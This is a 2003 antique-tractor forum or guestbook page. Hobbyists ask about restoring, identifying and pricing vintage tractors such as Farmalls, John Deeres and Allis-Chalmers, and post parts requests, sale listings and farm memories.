tamios hachem wrote on Thursday, October 02, 2003 (PDT):looking for a tractor 3 pt. diesel only close to 3000 cad
Butch Hull wrote on Wednesday, October 01, 2003 (PDT):I have a 1935 F-30 It's color is suppose to be a gray on the body and a red on the wheels can any one get me the right name of these colors and the paint codes ? thank you ! I also have a tractor pull Intr. combine with a 10 foot header and a hercules engine . Can any one tell me where I might find the year of it . I think it is in the 30's ?
michael wrote on Wednesday, October 01, 2003 (PDT):I need to know were to get a conversion kit so I can use 3 point implements. Thanks
Fred Shunk wrote on Monday, September 29, 2003 (PDT):If anyone is interested in obtaining a 1941 Farmall A high crop (I thought it was Row Crop)to restore contact me. This tractor is part of the Estate of Mary E. Osborm that is in probate now in Alpena County. Attorney for the estate is David P. Werth, 989-354-4104, 313 N. 2nd Ave, Alpena, 49707 Estate administrator is John Osborn, (517) 467-4919 938 Meadow Lane South, Brooklyn, MI 49230 I started driving this tractor in my grandfathers hay fields when I was nine years old. I'm now living in Las Vegas. I'd hate for this old tractor to simply set in a field and rust away but I'm not in a position to do anything about it right now. I know it needs a fan mount bracket and a radiater, and it needs a generator. It should also have a valve job.
Jonathan Kamau wrote on Monday, September 29, 2003 (PDT):Somebody please tell me where to get an IMT 558 tractor service manual.
Don Garrett wrote on Sunday, September 28, 2003 (PDT):I've been looking at an "English Ford" tractor as the owner calls it. It's a deisel 3 cyl., Simms pump on the engine, the owner claims it's a 65 model. Do you have any information on this? The stamped serial # 145707 H is on a milled boss on the left side of the engine. On the right side of the tranny case,is cast EnFo T-4 under that is 957E-7005. It definately has the N steering and 3 pt. Any info is appreciated. Thanks, Don.
Bob Wolf 588 S. Quarry La. Whitehall, N. Y. 12887 wrote on Sunday, September 28, 2003 (PDT):For Sale; J.D. 1010 Crawler Loader W/ back rakes. Rebushed tracks and right hand final drive. needs a left hand drive rebuilt. LH side drives well. machine runs good and has lots of power. 6000 invested. Make offer. 518-639-4460
Theresa Curtis wrote on Sunday, September 28, 2003 (PDT):We have a Super 55 Oliver, and need some parts for it.We think it needs gears for the rear-end and pto. If anyone can help please respond by emailing back or can call 573-754-6608. Thanks for your help!
nicolas alastor wrote on Sunday, September 28, 2003 (PDT): perair manual for tractor fiat 640-utb 640 or others similar fiat and utb-universal tractors 445,450,530 e t c
M. Mask wrote on Saturday, September 27, 2003 (PDT):I have a 1953 VAC and am interested in restoration. What do I do first, Just want to get it in usuable shape not show room condition. Would trade for good small antique running tractor.
Russ wrote on Saturday, September 27, 2003 (PDT):730 JD; Kathy Hudson since your tractor runs like new you could restore it to different levels. For instance; 1960 361CID gas 59hp lo 2750 med 4150 hi 5320 1960 376CID dsl 59hp lo 2740 med 4175 hi 5300 If it has good rubber, looks sharp and purrs like a large bore 2 cyl kitten you combine that with good sales ability and you will do just fine. The new owner will be getting a solid value with decent tractor performance once you peak up your JD 730.
Steve wrote on Saturday, September 27, 2003 (PDT):I own a TO-30 and a Sauder Loader (currently not attached). It escapes me as to best way to achieve live hydraulics on these older TO's. I have a splined coupling welded to the water pump pulley from previous owner, to which a front mount pump connects, after trashing the front grill of course. Reservoir was a tank bolted to the fender. Since so many of you have loaders, someone must have live hydraulics? Please help, Thanks,
Stuart Kafka wrote on Saturday, September 27, 2003 (PDT):OK i have changed the coil. I still have the same problem. I have power on both sides of the coil, but no power comeing from the coil wire itself. This is the way it was wired up when I got it-(wire from the power supply is going to the pos. side of the coil, the neg. side has a wire going to the condencer. there is power on both when key is on, but still no power to the coil wire going to the distributer from the coil.) is it wired wronge or what. I'm a welder not a electrition. SOMEONE OUT THERE PLEASE HELP ME!!!!! i just want to hear my tractor run so my wife will quit laughing at me. I have put a new coil on it.
Dale L. Wallace wrote on Saturday, September 27, 2003 (PDT):I Have a General Tractor that I bought at an Auction sale this summer. I had it painted safety orange thats as close to the color that we could find. It's about a 1939 model with a single front tire and runs real good.
jim vassar wrote on Friday, September 26, 2003 (PDT):I am looking for a 501 ford tractor. would you please e mail me if you know where I can find one. Jim Vassar
Stuart Kafka wrote on Friday, September 26, 2003 (PDT):i have one more ?. i have read most of this page and alot more like it. i just don't see that much about a 1945 H farmall. why is that, is it a rare tractor or what? i do see alot about the H's but not from 1945!
Rebecca Gottberg wrote on Friday, September 26, 2003 (PDT):I contacted Henry Hahn (see above message) and he sent me a list of people with Leader Tractors who are members of the Leader Tractor club. They were from all over the U.S. and Canada. Thanks so much!! In fact, I think they just had a national gathering in Ohio this summer.
Brenda wrote on Friday, September 26, 2003 (PDT):My husband bought his first tractor, think it is a MH 44 Row Cropper. It has a a 4-cyl. gas engine but the model/serial number is 44DR 5095. The engine has H260E606; I'm pretty sure that the H260 indicates a gas engine but the letter code in the model/serial number suggest that it is a diesel. I'm confused. Help.
K. T. Novak wrote on Friday, September 26, 2003 (PDT):The allis 20-35 is truely a magnificent machine. It is by far my favorite model ot the Allis-Chalmers Line. Hopefully one day i will be lucky enough to add one to my collection. Due to the fact that i am younger and some models are costly i think i'm going to have to stick to my B, WC and CA
Stuart Kafka wrote on Thursday, September 25, 2003 (PDT):I have just purchased a 1945 Farmall (H). I need any inforemation i can get. I am new in tractor restoration. I would like to know where i can get a new grill & hood. Also any tips on really anything about it would be noted and i would be thankful for. my two boys (9&13) are really into it.we are biulding memory that they will never forget. THANK YOU!
Scrany wrote on Thursday, September 25, 2003 (PDT):Does any one know of a way to trace your (B) tractors origination etc. through serial #s etc. I'd be interested to know the history of my tractor.
Terry Martin wrote on Thursday, September 25, 2003 (PDT):I have a 1944 year model John Deere H. I would like to buy a good clean model HN (with the single front wheel)to restore and show at antique tractor shows. Must have good sheet metal...I live in Arkansas--willing to travel a reasonable distance for a good tractor...price must be right!!!!!!
johnh wrote on Wednesday, September 24, 2003 (PDT):I just bought a D-14 of unknown year. Where can I find information on just what I have? Engine and all do well but the metal is getting poor and will need some help.
Drew hopman wrote on Tuesday, September 23, 2003 (PDT):Does anyone know how many 541's were made in 1958? And also the value of a 58 541 high clearance with cullivator and fertilzer attac. in new condition goes for? please email me at flyingby00 at yahoo.com if you know anything about them.
PAT wrote on Tuesday, September 23, 2003 (PDT):I'm looking at a 1935 "F12" tractor what would be a fair price for it,90%there in running condition? also,what color(s) should be,gray or red ,they both look the same to me. thanks
Greg Bundle wrote on Tuesday, September 23, 2003 (PDT):I live in New Zealand and own a fordson Super Major. It is complete, has thru rust where guards mount onto rear axle. Surface rust on bonnet. A complete tractor,Rev counter not working, Starts and runs beautifully. Any Interested buyers?
Garrett doncaster wrote on Monday, September 22, 2003 (PDT):My grand father owns a tractor exactly like this one. He owns a 1928 McCormick 15-30. Bought it in pugwash. This actually might be his tractor. When and if i get an e-mail i'll ask where this pic was takin' My grand father is Bud Doncaster from Sackville N.B. If the pic was taken anywhere in the maritimes it is sure to be his tractor.
Bob wrote on Monday, September 22, 2003 (PDT):I am in need of rebuilding our G’s engine purchaced in 1954? Plugs getting fowled by oil being burned. Have also rod knock. Where to start for engine parts that will be needed. We have the plow, cultivators, and sickle bar so this unit was still being used and now being missed.
Kevin Wiese in CT wrote on Monday, September 22, 2003 (PDT):hello leader fans!! i have aleader 48D. i have been toying with the idea of restoring it, but untill now i was at a stand still in searching for info. this forum seems like a great place to get some. out here on the east coast no one has even heard of a leader tractor. mine runs great except for a rusted out manifold, which can be bought new still. it is all rusty and over the years it has had some quick "farm fixes." i would love3 to see somr pics of restored leaders as a reference, as well as magazine articles, web site info as well as club info. any and all info would be great Thanks for all of your time
J Shirey wrote on Saturday, September 20, 2003 (PDT):Have a 1949 F-cub. Have had it for a dozen years or so. Absolutely love it. My father and I rebuilt it in 1996 I believe. Unfortunately I will be moving soon and she can't come with me...gonna put her up for sale after the house sells. If interested contact me thru e-mail. Columbia City,IN
Al Smith wrote on Friday, September 19, 2003 (PDT): Yesterday, 18 September, 2003, I purchased a Case Tractor, which has a serial # VAI6014155 It has a sickle bar, hydraulic system. Can anyone tell me the year, or anything else about this tractor ? I can send photos, if needed.
Eric Ebling wrote on Friday, September 19, 2003 (PDT):I recentley restored my first tractor an AO my friend got me started and if i rever win a 1,000,000 ill give you a call.(that is a very nice tractor you did a good job restoring the GPO crawler)
Ivan L. Cohen wrote on Friday, September 19, 2003 (PDT):Dad had a 20-30> Iused to start it the machine shed just to hear it run. This my Sunday afternoon entertainment. I also have paper weight of a Oil Pull Rumley
Jim Peter wrote on Friday, September 19, 2003 (PDT):Looking for the Ferguson decal design from 1948 to 1954,,for a grey Ferguson tractor..Thank you Jim,,Extreme graphix.
Mary A. Hageman wrote on Friday, September 19, 2003 (PDT):I'm looking for some history on a John Deere MC tractor, could someome please find me some information about this tractor ASAP. Thank you so much!!
Charlie Francisco wrote on Thursday, September 18, 2003 (PDT):Sept. 18, 2003 I have a 300 IH Utility w/loader. This is an awesome machine that I used a lot. Unfortunately the steering geer is broken. It has manual steering. I haven't removed it yet since the steering wheel will undoubtedly need to be cut off. It appears it was repaired before. I'm sure it was out of time since turning radius was restricted to the left. Can someone give me a lead on new or used parts? Also, any retro hydraulic steering available? Best regards, Charlie Francisco
Kevin Van Damme wrote on Thursday, September 18, 2003 (PDT):I have just purchased my dad's 1956 Cochshutt 40 Deluxe with my sister. It was a get tractor as I was growing up. Our plan is to go to shows for others to remember.
Dave Rodberg wrote on Wednesday, September 17, 2003 (PDT):I have a W12 and am looking for a radiator base and brake covers. I recently dug this tractor out of a friend's backyard. I'm hoping to get it running again but am having a very hard time finding out anything on this model. Thanks, Dave
Roel wrote on Wednesday, September 17, 2003 (PDT):Just got a 511B Lp gas , need to know if 500 is same to 511. Wantting to buy manual and from what I heard Case has a 500 gas. Need help just trying to restore for my father who loves old case tractors.Thanks for the help!
Lyle wrote on Tuesday, September 16, 2003 (PDT):When I was farming in the late 50's I had a super 77 oliver and then I bought a MM Z for light work. When I was in high school I bought a MM J Wiith a loader on it for $100.00 and dad and I used it for about 3 years. They were both great tractors.
lyle wrote on Tuesday, September 16, 2003 (PDT):I was farming when the numbered series came out. The 60 replaced the A not the B. It would pull a 3/16 plow ok.
Tom Dickerson wrote on Tuesday, September 16, 2003 (PDT):I'm about to get a real good deal? On a B model CULTI-VISION. It does howver have a cracked block. Is that a normal malady for this tractor? Are the blocks hard to find and expensive? The S/N is F.A.B. 182141, from what I have been to find out that means it was manufactured in 1947
Tom Dickerson wrote on Tuesday, September 16, 2003 (PDT):I'm about to get a real good deal? On a B model CULTI-VISION. It does howver have a cracked block. Is that a normal malady for this tractor? Are the blocks hard to find and expensive? The S/N is F.A.B. 182141, from what I have been to find out that means it was manufactured in 1947
Jack Peterson wrote on Tuesday, September 16, 2003 (PDT):I inherited a 70 RC SN 216635. I understand it is a 1937 model. It has been inside a Morton Barn for years. I remember plowing with it many years ago. It has all the panels with green yellow and red paint yet. It is on rubber but has lug wheels with it and also a cultivator. I can't get any spark and am about to replace the points and a carb kit. Does anyone have an idea of the value of it? Thanks.
Will Namminga wrote on Tuesday, September 16, 2003 (PDT):I just ran across a Fordson Major. It is supposedly a 1951 model. I have not gotten past the grease and gunk yet. I am wondering how possible it is to get a part for the drive train as it will not go into reverse. It also needs a head gasket. Any comments will be greatly appreciated. Thanks.
chris wrote on Sunday, September 14, 2003 (PDT):My father in law is changing his massey 44 from a row crop to a wide front.We are looking for a steering box for the wide front (saginaw manufacture)can anyone help? email me Thanks chris
RJ wrote on Sunday, September 14, 2003 (PDT):any JD LA tractor to restore
Jeremiah Wann wrote on Sunday, September 14, 2003 (PDT):I have a John Deere Model MT that I am wanting to sell. What is the best way to approach selling it. I live in Pennsylvania
Bob Shaw wrote on Sunday, September 14, 2003 (PDT):I have a new L59 belly mower for sale complete for a model B allis chalmers tractor thanks!
Dylon Miller wrote on Saturday, September 13, 2003 (PDT):Just started collecting these neat tractors. My mother bought me one and I'd like to see more of these beauties at the tractor pulls and steam shows!
Richard wrote on Saturday, September 13, 2003 (PDT): I am looking for info on the shaft seals for the belt PTO on RHS of my Power Major. The tractor has a Browning type belt wheel . The replacement seal I purchased (same part # as old leaking one) will press in but is to big to seal against the shaft (which is splined anyway). I figure I'm missing a part. Anyone know of a good schematic of this area or have a similar experience with the seal problem.
dave guest wrote on Friday, September 12, 2003 (PDT):love them red cubs have had one for 20 years and 6 million gray hairs cut 4 acres never rebuilt have igniton problem now will never buy japanese or chinese tractor no personality pulled out 4x4 trucks rockwood michigan
Kevin Parks wrote on Friday, September 12, 2003 (PDT):I just bought a Wallis tractor similar to this. I am interested in finding a manual and the correct paint color for it. It is a 20-30 and is on F&H round spoke wheels with rubber tires. Any informaton on it would be appreciated.
Dave Olsen wrote on Friday, September 12, 2003 (PDT):My father has a Hart Parr 18-30. The tractor is complete except for the manifold and carb. Do anyone know where to find one? He might just sell the tractor if he can't.
Donna WInn wrote on Friday, September 12, 2003 (PDT):My husband has a LEADER- What site do I go to and enter the serial number and type to get information about this particular tractor? Thanks
Felix Knight-Webb wrote on Wednesday, September 10, 2003 (PDT):I own a very nice 1964 grey wing (and grey wheels) Super Major which I am restoring at the moment. I agree with comments that most of the Majors destined for the European, African and Aussie markets had orange wheels of which the front were cast. The American market had pressed steel rims I assume due to the weight of shipping and difficulties with replacement. I am looking for a pre-force 5000 to add to my collection. I am also looking for a Ford Thames Trader 75 flat bed lorry to haul them to shows.
dan lewis wrote on Tuesday, September 09, 2003 (PDT):Can anyone tell me anything about an allis chalmers tractor with the serial # b107709. I recently bought it and i am trying to find any information i can about it. Thank You!
Eric Lacey wrote on Tuesday, September 09, 2003 (PDT):Have been looking in the Uk for a reduction gear box for a fergie TED20, without success. Has anyone got one for sale. A Howard box is prefered but would consider a sherman or other. I want to slow the speed of my tractor down for hedge cutting.
jim wrote on Monday, September 08, 2003 (PDT):my dad and I have 3 super C farmalls,1 restored,5 C farmalls 2 restored and 1 B farmall restored.So we have some more work ahead of us,Dad's like a kid at christmas when tractor show time.
Tom Bortz wrote on Monday, September 08, 2003 (PDT):I restored a 81 and painted the moter black. Also I have a massy harris bailer with a 4cyl wisconson engine works well dos anyone know its worth or who needs it worse than me? Amish?
Doug Dougherty wrote on Sunday, September 07, 2003 (PDT):Looking for a WD45 gas, wide front end. Any condition considered. Reply via email, located in southern Indiana.
Randall Westfall wrote on Sunday, September 07, 2003 (PDT):I have a 1952 Cub with the original belly mower. I want to buy some implements to plow, disc, and maintain a fair garden next spring. I live in southern Louisiana. If anyone has a good source please contact me at rand101 at bellsouth.net
Doug Dougherty wrote on Sunday, September 07, 2003 (PDT):Looking for a D17 series I, and a WD45 gas. My ggrandfather and grandfather farmed with these for many years, and interested in obtaining these. Reply via email if anyone has for sale.
Keith Blackwell wrote on Saturday, September 06, 2003 (PDT):I was given a 193? AC "B" doesn't run. Any one know of a mechanic in DFW Tx area? any help at all.
Richard P Brighton wrote on Friday, September 05, 2003 (PDT): I owned a MM M670 Super which was LP and a G950 LP on the farm here in north Iowa. My Dad and I found that if you used a tank heater to warm the coolant through the vaporiser that they would start and stay running until engine warmed up. I work for a MM dealer and we always installed a Century vaporiser on all the LP tractors he sold installed Century 100 vaporisers was the size and the tractors ran more fuel efficently. With vista engine being a 504 it will take about 2hrs to warm it with a tank heater 1500 watts size.
Mark Gasser wrote on Friday, September 05, 2003 (PDT): Does anyone know how much my 1948 Case LA gas tractor weighs? Thanks.
Rick Smith wrote on Thursday, September 04, 2003 (PDT):I have a Ford 8N that I just purchased. I found a serial # on the left side of the motor and was wondering if anyone knew what year model it is. The serial # is 8N439862. I would appreciate any feedback..
phil and melanie lanzarotta wrote on Wednesday, September 03, 2003 (PDT):We are the 4th owners of this great engine her name is 'Ole Puff'. She was made in 1928 by Geiser Manufacturing sn# 18298 she is the last to come off the assembldy line and not assembled until 1939 for an Amish gentelman by the name of Samual Stoltzfus. the Grubb family were the 2nd owners in 1972 , 3rd owners were the Dotys1987. we got her from them in 1998. she has been at the Rough and tumble show, Mt. Plesant show, Williams Grove show, and now at the Great Oregon Steam-Up. she has been featured in the Iron Man Albume multipule times and will again in the Nov-Dec. issue. If any one knows of a Stoltzfus family member please let them know I would like to get in contact. I have written documentation on this engine from all owners except the Stoltzfus's. if I have miss dated miss quoted or forgot anyone please e mail us at philranch at aol.com (please put steam or ole puff in the tital area)
Judith Newman wrote on Wednesday, September 03, 2003 (PDT):Have my Dad's 1948/49? Leader Tractor. I am looking for info to restore the tractor. Paint Codes, parts, etc. Are there any Leader Clubs in Ohio?
Edley Guidry wrote on Wednesday, September 03, 2003 (PDT):I have a 830 2cly.d, tractor for sale,runs good,pony motor runs and starts big engine but needs card kit.I bought tractor from Shorty Deer, A good man.My email is not working now ,but you can call me and i will send pictures,price for tractor is 6,000.oo ,Thank you
Fred Michels wrote on Wednesday, September 03, 2003 (PDT):We have a Rumly six 6 cylinder and need parts> a timeing chain or gear, magnito and other. Please contact me or betythompson at midrivers.com Thanks Betty Thompson
Dala Muller wrote on Wednesday, September 03, 2003 (PDT):I have a Field-Marshall tractor for sale.
Darrin Louden wrote on Monday, September 01, 2003 (PDT):My Uncle bought an E-3 several years ago,he had been looking for one for a long time.When I told him about the tractor I had found he kept saying I had come across a Cockshutt.He was wrong it was a CO-OP.
David M. Justison wrote on Monday, September 01, 2003 (PDT):hey guys, I have a G1000 vista diesel and lp.The diesel runs fine, but the lp is hard to start. It acts like it isnt getting enough fuel. When its cold, it runs, then dies, but when you hold the starter in gear, it runs fine.Then when you shut it off when its warm, it starts and runs like a sewing machine. I think it may be a filter, but any help out there will help alot. thanks.
James Smith wrote on Monday, September 01, 2003 (PDT):I rode many a day with my Dad on the Farmall B in the Rio Grand Valley of Texas. I now have two tractors I am trying to use on my farm. I need the following help. Binder Books suggested I ask You for help. I have a B Farmall cultivator that I can not figure out how it mounts from the back. Another piece of equipment for the B Farmall is a PLANTER I need information on how to Mount and operate. Any help you can give me would be greatly appreciated. Thanks Jim Pictures would help.
john mccaskey in pennsylvania wrote on Sunday, August 31, 2003 (PDT):hi! just purchaced a 1948 cub for $1600 my first tractor bigger than a lawn mower,and i love it...in two days of owmership i have found it to be great for pulling logs through the woods behind my house..a real work horse..
Clarence Moss wrote on Sunday, August 31, 2003 (PDT):The F-20 brings back many memories for me as when i was 13 yrs. old my Dad had one that i rode many miles Cultivating Corn, Plowing,Mowing,Discing, and pulling an old Horse Drawn Manure Spreader with, i rode this Old F-20 till i was 18 yrs. old and Graduated from High School in the Ozarks of Missouri. Shortly after that i joined the U.S.A.F. and spent 4yrs. in many spots of america but never returned to farming again but now i am 69 yrs. old and have many fond memories of the day's i spent on that F-20 over those years and i must say that will always be in my memories and when ever i see one i have to stop and look it over and remember those Good Old Day's as it was a great Tractor and still had to crank it to start it as it wasn't converted over to 12 volt system with starter. I am retired now and if i lived in the country i would own one. Thanks for having a web site like this.
Jeff Weinberg wrote on Saturday, August 30, 2003 (PDT):I have a gas, D17 Series 1, w/ aftermarket 3-point hitch, wide front with fair tires, good sheet metal, starts and runs like a kitten! Asking $3700.00 Central Illinios Thanks Jeff.
Ken Crisman wrote on Saturday, August 30, 2003 (PDT):I'm looking for any & all help with a 1952 8n tractor with the Funk coversion 6cyl OHV Ford Industrial engine . I'm missing a few engine parts , but need pics of this setup so I can see what all is missing . Info on locating the pancake style air cleaner & venting tubes . Also gasket spacers between carb & manifold . I'm sure there's other parts I'll need , hopefully pics will help me if you got any . Also leads as to available parts .Can anyone assist me ? Thanks .
Jack Wykle wrote on Saturday, August 30, 2003 (PDT):I have a Farmall super MD. Would love to hear from anyone who knows where I can get parts to restore it.
reilly wrote on Saturday, August 30, 2003 (PDT):Sir,Madam , Over the past 20 years I purchased several 8hp flail mowers from the Mott Corporation at 500 Shawmut Ave La Grange Illinois, thay are excellent. I have since found out they sold out to the Alamo Group Corporation of Texas who have now discontinued making them. I would sincerely appreciate and even give a finders fee reward for you or your staff to locate on or two of them, and take them to the nearest freight fowarder. The way I see it the Mott corporation in La grange must of manufactured thousands of them, every resident in Shawmutt should have one in each garage.... Sincerely Craig Reilly P.S I see your company sell the blades chain, links , cotter keys etc, but no case or main shaft I really would appreciate you location one of these new or used. I'm in Guam and really need this type of mower. I would gladly purchase all the parts from you and even build build my own.
JD 830 Diesel wrote on Saturday, August 30, 2003 (PDT):6712 tractors of this model were produced. Mfg'd in 1958-60. 471.4 CID engine. Drawbar 69.66 hp, Drawbar/belt 75.6 hp. Max pull 8667 lbs. Max speed in 6th gear 12.75 mph. Weight of 7850 pounds soaking wet. Never been known to be carried off on the shoulder of even the strongest thief. A very nice (working) collectors item.
Dave wrote on Friday, August 29, 2003 (PDT):Yes, there is a 3pt snap coupler attachment that can be used on the WD-45. I have one and use it with my 3pt blade, but can also use it with other 3pt items.
Nick wrote on Thursday, August 28, 2003 (PDT):Is it possible to add an hydraulic system to a 1944 Farmall H that was equiped with a hyrdaulic system. The tractor is strong and in great shape so I am interested in doing this to add a 3 point hitch.
Mike Silbernick wrote on Thursday, August 28, 2003 (PDT):I have owned a WD-45 wide front for 15 years. I would like to know if there is a conversion for the snap lock attachment so I can hook up a 3-point attachment. I also am wondering if there is a certain loader that fits directly to this tractor. It would be nice to be 4-way.
Randy Peters wrote on Thursday, August 28, 2003 (PDT):I am looking to purchase a 130 farmall utility. Were is the best place to start looking?
Brian Kuester wrote on Wednesday, August 27, 2003 (PDT):I have a 1962 D17 allis chalmers and was wondering if there is a hydraulic pump that will bolt right up the housing and flywheel. Thanks Brian
don willers wrote on Wednesday, August 27, 2003 (PDT):I'm refinishing a '42 D and when sanding the dash to prime and paint,Ifound yellow original paint on the upper half of the front of the dash. The next layer is metal and I think this paint patern was truely original. The tractor came from Canada and also had a decal on the exhaust side of the hood "MANUFACTURED BY JOHN DEERE PLOW CO". Any info would be helpful. Thanks
John Buettner wrote on Monday, August 25, 2003 (PDT):My Great Grandfather, John Minor Kroyer built the Samson Tractor Co, as well as Samson Iron Works and Samson Motors. He started the Company in the city of Stockton CA back in roughly 1898-1918 at which time he sold the co to GM, after the sale of the co he started another company called Kroyer Motor Works, its great to see that people are still interested in my great grandfathers tractors and many pieces of other farm equipment, if anyone has any questions please feel free to e-mail, thanks, John Buettner
Ross Cargill wrote on Monday, August 25, 2003 (PDT):I have a Fordson 3 cyl diesel which I bought in 1999. Am using on my Pistachio plantation in Western Australia. How do I identify which model it is - suspect it is fifties vintage
Russell Lamp wrote on Thursday, August 21, 2003 (PDT): Was looking for information on the color and details of the rumley 6, also wondered the value of such a tractor, aquired one last year and wondered these questions. Thank you!
jmancina wrote on Thursday, August 21, 2003 (PDT):looking to purchase ac d17 or d19 wide front, full electric, power takeoff, 3pt hitch gas or deisel has to be in good condition & tires. we live in Northern Minnesota, 125 miles north of Hinckley, thank you
RJ wrote on Wednesday, August 20, 2003 (PDT):any farmall h in new york for sale please contact
Gary Pedersen wrote on Wednesday, August 20, 2003 (PDT):I have a cyclinder head for a Farmall C tractor that has yet to be used since having a valve job.
ZIKULA MUHAMMED wrote on Wednesday, August 20, 2003 (PDT):We want 3 units of your tractors. Send me the price list CIF mombasa port in kenya. Quote all prices in us dollars. Thanks for your co-operation. MANAGER FOR TMK TRACTORS.
dennis wrote on Tuesday, August 19, 2003 (PDT):Auction off a Massey Pacer in excellent condition on eBay from Aug19/03 to Aug 26/03. Item# 2552638092
Scott Ousley wrote on Tuesday, August 19, 2003 (PDT):I would like to eventually restore my 1960 AC D-17 Gas tractor. Where can I obtain info on exact colors for different parts of the tractor, decals, etc. scott at bathtubrefinisher.com
Tim Dowd wrote on Tuesday, August 19, 2003 (PDT):Where can I find the S/N on my Ford 800 (I think) tractor? I just bought this machine and it came with both the loader and backhoe attachments, but the control levers leak badly. Where can I get seal kits to fix them? The backhoe boom also does not stay stationary after I move it side to side, it will swing in what ever direction the tractor happens to be leaning. What can I do to fix this? Another question is on re-chroming some of the actuators. Are there any special considerations? Is it cheaper to just replace them? What are these old machines worth restored?
Dan Ward wrote on Monday, August 18, 2003 (PDT):I have a 1949 Farmall M. It has a M&W clutch where the torque amplifier would be. The clutch has a pipe coming up out of it that moves forward and backward. The clutch is missing an external cover and it does not work. What is it supposed to do?
Eric wrote on Monday, August 18, 2003 (PDT):I have an ac D12 1960 for sale, in good shape. It's a very good tractor with the 2 rows plow and the 7 feets mower also in good shape. I don't know the right name of that kind of hitch, but it's not a 3 points. Is anyone can tell me about the price of such a kit?
Gary Houston wrote on Sunday, July 20, 2003 (PDT):I have a Fcub--serial number 63326, where can I obtain shop mannual and parts for this machine. Thanks Gary Houston
johnie jones wrote on Saturday, July 19, 2003 (PDT):we have a 1950 wd-45 and a 1948 wd. both have wide frond ends and are in great working order. as soon as i get it finished (hope fully in the morning) the wd-45 will be pulling a newholland superhayliner s68 baler. no idea on the bailer year but a bearing here and a bushing there and it should be as good as new. i found a superhayliner 67 for $75 buck I am using for parts but have no info on either one. Would appreciate any info on how to find info.
Gerry wrote on Friday, July 18, 2003 (PDT):Parting out d-17 series 2 most parts with high clearance front axel
Gerry wrote on Friday, July 18, 2003 (PDT):Parting out d-17 series 2 most parts with high clearance front axel
Harvey Phillips wrote on Thursday, July 17, 2003 (PDT):I need to know what color M 602 tractor that I am restoring. Would you kindly email me pictures of M 602. I would greatly appreciate it. Thanks Harvey Phillips
Joe wrote on Wednesday, July 16, 2003 (PDT):Did the Pacer have a pto 3 pt hitch and if not was there one available for this tractor.
mwilfer wrote on Wednesday, July 16, 2003 (PDT):I've acquired a Case 500B (gas)wide-front with full hydraulic loader. It runs great and is in very good condition overall. However, I am seeking battery cover and inspection cover sheet metal and I am really desperate for a power steering unit (my gosh it is a bear to steer with the loader full!). I'm interested in any 500B for parts. Any help you can provide will be greatly appreciated. Thank you.
john wrote on Wednesday, July 16, 2003 (PDT):my father has a 1940 oliver 66rc and was interested in selling it . and was just interested in how much the tractor was worth. and if u knew were to get parts from around pa wv or md
Real Seguin wrote on Wednesday, July 16, 2003 (PDT):We have a M-H 81 1941 since over 50 years in the family. First it's was my grand-father and now my father and in the future my tractor what a beautiful tractor. We are Ste-Marthe Qc Canada near Montreal. By the the way it's still work very well.........
Bill Uhlenbrauck wrote on Wednesday, July 16, 2003 (PDT):My Uncle Al had one of these in the sixties when I spent my summers on the family farm north of Appleton, Wisconsin. I believe it was a 48 or 49 model, narrow front. One summer I particularly remember, we gassed up during haying and took a quick lunch break. During lunch the old G burst into flames. By the time the volunteer fire department got there it was pretty well going/gone. Got shipped to Schwandt's in Shiocton for overhaul and paint, came back like a new one. My uncle kept it until mid 7o's when he traded up for a JD 70D - better fuel economy. That baby had lots of power, I remember plowing in blue clay and gumbo in third gear all day, lots of power but gulped the gas!
KEVIN wrote on Wednesday, July 16, 2003 (PDT):I have for sale a massey harris pony approx 1952 complete with mower attachment and hydraulics. This is in original condition and runs well. Any offers?
red power!!!! wrote on Tuesday, July 15, 2003 (PDT):mean green red tractors will aways burie your little green toys you play with.
Doug Miller wrote on Tuesday, July 15, 2003 (PDT):We have a 1960, JD 830 D direct start....One powerful tractor and in great shape, and a 70 D. 630 GAS, 430, 420, 2-b'S,A, 50 AND a 60....and one ole Farmall M....lol love those putt putts
Jerry VerSteegh wrote on Tuesday, July 15, 2003 (PDT):My father bought his first tractor, a WC, in 1936. My mother said I took my first step the day dad brought home the new tractor. My dad farmed all his life with what was intended as a temporary barn. When he bought the WC his father said, "You won't be needing so many horses now, so you don't need a fancy barn either." I started driving the WC before I was strong enough to start it with the hand crank. I was a tall, skinny kid and could just barely reach the clutch. I remember the hand brake handles had been welded several times, because occasionally when dad turned around at the end of the field he would jerk back on the hand brake with enough force that the handle would break off. I know it originally came with steel wheels, but he soon put on rubber tires. We used to pull an old steel wheel behind the tractor to smooth out the gravel in the driveway. When dad bought a brand new WD, I thought it was the finest piece of machinery ever invented. I loved to drive it, but cultivating corn was a nightmarish experience. I could never say awake on those hot june days. When I went away to college, dad bought a manure scoop for the front of the WD.
Max Hawkins wrote on Tuesday, July 15, 2003 (PDT):I recently purchased a 1953 model 60 john deere tractor from a cousin, I would like any information on the repair of the clutch and the PTO. Any help would be greatly appreciated
Brandon wrote on Monday, July 14, 2003 (PDT):I have an 881 SOS diesel tractor, have a few implements with it. We havent done much messing with it yet, other than seeing if the engine will turn over (which it does) Im not sure what year it is, it was left at the land we purchased recently as they didnt want to haul it with them. I was wondering if anyone knew what this tractor is worth as it sits vs. restored..? We may just get rid of it since we bought a new tractor, but I dont know what to ask for it. If anyone knows a price range or a place to post "tractors for sale" let me know.
J.T. Eastburn wrote on Monday, July 14, 2003 (PDT):I have a early D17 diesel for sale. Serial #D17 57950. It has a block warmer, new rubber, wide front end , rear wheel weights, good condition. $3300 firm. N.E. Missouri.
R Edwards wrote on Monday, July 14, 2003 (PDT):My boss owns a 2010 series gas tractor but has no manual for it. Can anybody tell me the settings for the points, plugs, timing etc. It would be most appreciated.
SK tractor for sale wrote on Monday, July 14, 2003 (PDT):Silver King Tractor For Sale. Real basket case. tractor hasn't ran since late 70's, water got into exhaust, froze motor, dad took motor off, thought it would be a good project, hasn't touched it since. tractor is in pieces, some inside some out, has a front blade/plow with frame and duell rear wheels, had side PTO wheel, From looking at pictures on the web, it has the smooth rear fenders of a R38 but kinda looks like a 42, its a wide front end, has got headlights like yellow one in of the photos on silverkingtractors.com , seat and steering wheel are rusted off, this thing is just growing roots at dad's hunting cabin in Western New York. Most likely, looking for someone to take complete/total tractor. i don't really want to get into parting it out. E-mail if interested, ronp at broadviewnet.net
